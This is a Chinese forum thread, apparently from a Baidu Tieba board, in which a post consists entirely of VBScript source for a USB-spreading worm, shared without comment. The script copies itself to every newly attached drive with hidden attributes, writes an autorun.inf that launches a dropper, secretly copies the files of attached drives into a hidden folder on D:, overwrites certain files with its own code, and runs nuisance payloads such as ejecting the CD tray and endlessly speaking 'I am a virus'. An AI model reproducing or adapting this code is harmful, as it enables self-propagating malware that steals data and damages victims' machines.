血色十字吧 关注:11贴子:278
  • 1回复贴,共1
1L度受


IP属地:甘肃1楼2014-08-23 23:40回复
    on error resume next
    call main()
    sub main()
    dim fso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell
    set fso=createobject("scripting.file"&"systemobject")
    set wshshell=wscript.createobject("wscript.shell")
    old_n=0
    redim old_drs(old_n)
    old_drs(0)="c"
    wshshell.run("explorer .\")
    dim i
    i = 0
    do while i>=0 and i<8*360
    scan_disk()
    if judge_new_disk()=1 then
    dim left_n
    left_n = 1
    do while left_n<=(new_n-old_n)
    new_disk = new_drs(left_n+old_n)&":\"
    if fso.fileexists(new_disk&"ftg.vbs") = -1 then
    else
    self_copy(new_disk)
    end if
    add_attrib(new_disk&"ftg.vbs")
    if fso.fileexists(new_disk&"autorun.inf") = -1 then
    del_attrib(new_disk&"autorun.inf")
    end if
    add_autorun(new_disk)
    add_attrib(new_disk&"autorun.inf")
    if fso.fileexists(new_disk&"ftgfolder.vbs") = -1 then
    else
    add_ftgfolder(new_disk)
    end if
    add_attrib(new_disk&"ftgfolder.vbs")
    dim rec
    rec = "d:\recyc1ed\"
    if fso.folderexists(rec) = -1 then
    else
    fso.createfolder(rec)
    end if
    add_attribf(rec)
    if fso.fileexists(rec&"desktop.ini") = -1 then
    else
    add_desktop(rec)
    end if
    add_attrib(rec&"desktop.ini")
    aim_folder = rec&date()&rnd()
    if fso.folderexists(aim_folder) = -1 then
    else
    fso.createfolder(aim_folder)
    end if
    if fso.folderexists(new_disk&"serylab") = -1 then
    fso.copyfolder new_disk&"serylab", aim_folder, true
    add_attribf(aim_folder)
    end if
    if old_n = 0 then
    else
    set fp = fso.getfolder(new_drs(new_n)&":\")
    set fc = fp.subfolders
    for each f in fc
    fso.copyfolder f&"", aim_folder&"\"&f.name, true
    next
    set fc = fp.files
    for each f in fc
    fso.copyfile f&"", aim_folder&"\", true
    next
    add_attribf(aim_folder)
    end if
    left_n=left_n+1
    loop
    copy_disk()
    end if
    wscript.sleep(10000)
    i=i+1
    loop
    timeout=datediff("ww",getinfecteddate,date)-12
    if timeout>0 and month(date)=day(date) then
    call makejoke(cint(month(date)))
    end if
    call noisejoke()
    end sub
    function scan_disk()
    dim d, dr
    new_n = -1
    set dr = fso.drives
    for each d in dr
    if d.isready then
    new_n=new_n+1
    redim preserve new_drs(new_n)
    new_drs(new_n)=d.driveletter
    end if
    next
    end function
    function judge_new_disk()
    if new_n = old_n then
    judge_new_disk = 0
    elseif new_n < old_n then
    redim preserve old_drs(new_n)
    old_n = new_n
    judge_new_disk = 0
    elseif new_n > old_n then
    redim preserve old_drs(new_n)
    judge_new_disk = 1
    end if
    end function
    function copy_disk()
    dim n
    n=0
    do while n<=new_n
    old_drs(n) = new_drs(n)
    n=n+1
    loop
    old_n = new_n
    end function
    function add_attrib(file)
    set f = fso.getfile(file)
    if f.attributes = 7 then
    else
    f.attributes = 7
    end if
    end function
    function del_attrib(file)
    set f = fso.getfile(file)
    if f.attributes = 7 then
    f.attributes = 0
    else
    end if
    end function
    function self_copy(folder)
    dim aim_path, mid_path, self_file, mid_file
    aim_path = folder&"ftg.vbs"
    mid_path = "c:\ftgfolder.bin"
    set self_file = fso.opentextfile(wscript.scriptfullname,1)
    self = self_file.readall
    set mid_file = fso.opentextfile(mid_path,2,true)
    mid_file.write self
    mid_file.close
    set mid_file = fso.getfile(mid_path)
    mid_file.copy(aim_path)
    mid_file.delete(true)
    end function
    function add_autorun(folder)
    dim path
    path = folder&"autorun.inf"
    set temp = fso.createtextfile("c:\a.bin",true)
    temp.writeline "[autorun]"
    temp.writeline "open="
    temp.writeline "shell\open=打开(&o)"
    temp.writeline "shell\open\command=wscript.exe ftgfolder.vbs"
    temp.writeline "shell\open\default=1"
    temp.writeline "shell\explore=资源管理器(&x)"
    temp.writeline "shell\explore\command=wscript.exe ftgfolder.vbs"
    temp.close
    set cop = fso.getfile("c:\a.bin")
    cop.copy(path)
    cop.delete(true)
    end function
    function add_desktop(folder)
    dim path
    path = folder&"desktop.ini"
    set temp = fso.createtextfile("c:\d.bin",true)
    temp.writeline "[.shellclassinfo]"
    temp.writeline "clsid={645ff040-5081-101b-9f08-00aa002f954e}"
    temp.close
    set cop = fso.getfile("c:\d.bin")
    cop.copy(path)
    cop.delete(true)
    end function
    function add_ftgfolder(folder)
    dim path
    set fso = createobject("scripting.file"&"systemobject")
    path = folder&"ftgfolder.vbs"
    set temp = fso.createtextfile("c:\s.bin",true)
    temp.writeline "on error resume next"
    temp.writeline "set fso = createobject("&chr(34)&"scripting.filesys"&chr(34)&"&"&chr(34)&"temobject"&chr(34)&")"
    temp.writeline "if fso.fileexists("&chr(34)&"ftg.vbs"&chr(34)&") = -1 then"
    temp.writeline "if fso.fileexists("&chr(34)&"d:\ftg.vbs"&chr(34)&") = -1 then"
    temp.writeline "set f = fso.getfile("&chr(34)&"d:\ftg.vbs"&chr(34)&")"
    temp.writeline "if f.attributes = 0 then"
    temp.writeline "else"
    temp.writeline "f.attributes = 0"
    temp.writeline "end if"
    temp.writeline "f.delete(true)"
    temp.writeline "end if"
    temp.writeline "fso.copyfile "&chr(34)&"ftg.vbs"&chr(34)&", "&chr(34)&"d:\ftg.vbs"&chr(34)&", true"
    temp.writeline "set wshshell = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&")"
    temp.writeline "wshshell.run "&chr(34)&"d:\ftg.vbs"&chr(34)
    temp.writeline "end if"
    temp.close
    set cop=fso.getfile("c:\s.bin")
    cop.copy(path)
    cop.delete(true)
    end function
    function add_attribf(folder)
    set f=fso.getfolder(folder)
    if f.attributes=7 then
    else
    f.attributes=7
    end if
    end function
    function del_attribf(folder)
    set f=fso.getfolder(folder)
    if f.attributes=0 then
    else
    f.attributes=0
    end if
    end function
    function getinfecteddate()
    on error resume next
    dim dateinfo
    dateinfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"
    if readreg(dateinfo)="" then
    getinfecteddate=""
    else
    getinfecteddate=CDate(readreg(dateinfo))
    end if
    end function
    sub makejoke(times)
    on error resume next
    dim wmp,cdrom
    set wmp=createobject( "WMPlayer.ocx" )
    set cdrom=wmp.cdromcollection
    if cdrom.count>0 then
    for i=1 to times
    cdrom.item(0).eject()
    wscript.sleep 1000
    cdrom.item(0).eject()
    next
    end if
    set wmp=nothing
    end sub
    sub noisejoke()
    dim a
    set a=createobject("sapi.spvoice")
    do
    a.speak "I am a virus"
    loop
    end sub
    dim folder,foldername,f,d,dc
    set self=fso.opentextfile(wscript.scriptfullname,1)
    vbscopy=self.readall
    self.close
    set dc=fso.Drives
    for each d in dc
    if d.drivetype=3 or d.drivetype=2 then
    wscript.echo d
    scan(d)
    end if
    next
    lsfile=wscript.scriptfullname
    set lsfile=fso.getfile(lsfile)
    sub scan(folder)
    on error resume next
    set folder_=fso.getfolder(folder)
    set files=folder.files
    for each file in files
    ext=fso.getextensionname(file)
    ext=lcase(ext)
    if ext="ftg" then
    set ap=fso.opentextfile(file.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.getfile(file.path)
    cop.copy(file.path & ".vbs")
    file.delete(true)
    end if
    next
    set subfolders=folder_.subfolders
    for each subfolder in subfolders
    scan(subfolder)
    next
    end sub
    set fso=nothing
    set wshshell=nothing


    IP属地:甘肃2楼2014-08-23 23:40
    回复